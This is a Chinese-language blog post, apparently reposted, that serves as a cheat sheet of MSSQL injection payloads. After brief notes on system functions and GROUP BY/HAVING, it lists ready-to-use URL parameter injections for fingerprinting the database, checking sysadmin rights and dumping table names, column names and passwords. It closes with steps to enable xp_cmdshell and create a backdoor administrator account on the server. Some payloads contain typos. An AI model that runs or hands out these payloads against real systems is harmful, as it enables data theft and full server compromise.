MSSQL注入基础语句

MSSQL注入

一、基础知识

Mssql即SQL Sever,SQL Server 是Microsoft 公司推出的关系型数据库管理系统,Sql Sever通常与IIS服务器搭配使用。

1)常见的一些系统函数:

User;User_name();   	系统用户
db_name()			当前数据库的名字
host_name			主机名
@@version			数据库版本
@@servername		服务器名称
@@language			当前使用语言
@@spid				当前用户的进程ID
is_srvrolemember ('sysadmin') 	判断用户是否属于管理员的组

更多系统函数请参考: http://www.cnblogs.com/jack-liang/archive/2011/03/25/1995466.html

(2)group by和having的使用

1、GROUP BY是分组查询, 一般GROUP BY是和聚合函数配合使用

group by 有一个原则,就是 select 后面的所有列中,没有使用聚合函数的列,必须出现在 group by 后面

2、Having

where 子句的作用是在对查询结果进行分组前,将不符合where条件的行去掉,即在分组之前过滤数据,条件中不能包含聚组函数,使用where条件显示特定的行。

having 子句的作用是筛选满足条件的组,即在分组之后过滤数据,条件中经常包含聚组函数,使用having 条件显示特定的组,也可以使用多个分组标准进行分组。

having 子句被限制子已经在SELECT语句中定义的列和聚合表达式上。通常,你需要通过在HAVING子句中重复聚合函数表达式来引用聚合值,就如你在SELECT语句中做的那样。

例如:SELECT A COUNT(B) FROM TABLE GROUP BY A HAVING COUNT(B)>2

http://www.cnblogs.com/gaiyang/archive/2011/04/01/2002452.html

二、注入语句

基本语句
1、判断是否是MSSQL
?id=1 and exist(select * from sysobjects)

2、MSSQL版本
?id=1 and 1=(select @@VERSION)

3、当前数据库名
?id=1 and 1=(select db_name()) 
?id=1 and db_name()>0


4、判断是否是系统管理员
?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin')) 

5、判断是否是库权限
?id=1 and 1=(Select IS_MEMBER('db_owner')) 

6、判断是否有库读取权限
?id=1 and 1= (select HAS_DBACCESS('master')) 

7、是否支持多句查询
?id=1;declare @a int--

8、判断XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') 

9、爆表名
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
//将N修改为1,2....

10、爆列名
and (select top 1 col_name(object_id('admin'),N) from sysobjects)>1
//修改N为1,2,...

11、爆数据,假设表为user,字段为password
and (select top 1 password from [user] where id=N)>1

//修改N,并且这里user加了一个[]是因为系统表中也存在user表;其他名称就不用了加了

#having报错注入,这里适用于当前语句查询的表刚好就是我们要爆的表
?id=1 having 1=1			#爆出第一个字段名,原理是having后面通常跟聚合函数的条件,因为select后面没有任何聚合函数,所以出现了报错。
?id=1 group by id having 1=1		#假设第一个爆出的字段为id,爆下一个字段的时候需要在group by后面跟上前面得到的所有字段。
?id=1 group by id,title having 1=1		#假设第二个爆出的字段为title

?id=1 and 1=0/title					#爆字段内容,title是我们需要爆的的字段



mssql注入提权
1、当?id=1存在注入点
2、判断是否是管理员:?id=1 and (select IS_SRVROLEMEMBER('sysadmin'))=1--
3、是管理员,判断数据库中管是否存在xp_cmdshell
?id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')
4、如果存在,判断是否启用
?id=1;exec master..xp_cmdshell "net user zwish zwish /add"
根据结果判断是否启用
如果未启用,则启用:?id=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell';1;reconfigure;--

5、利用xp_cmdshell在目标服务器建立一个新账户
;exec master..xp_cmdshell "net user zwish zwish /add"--
添加到管理员组
;exec master..xp_cmdshell "net localgroup adminstrators zwish/add"--
发布了65 篇原创文章 · 获赞 333 · 访问量 17万+

猜你喜欢

转载自blog.csdn.net/qq_41289254/article/details/105706740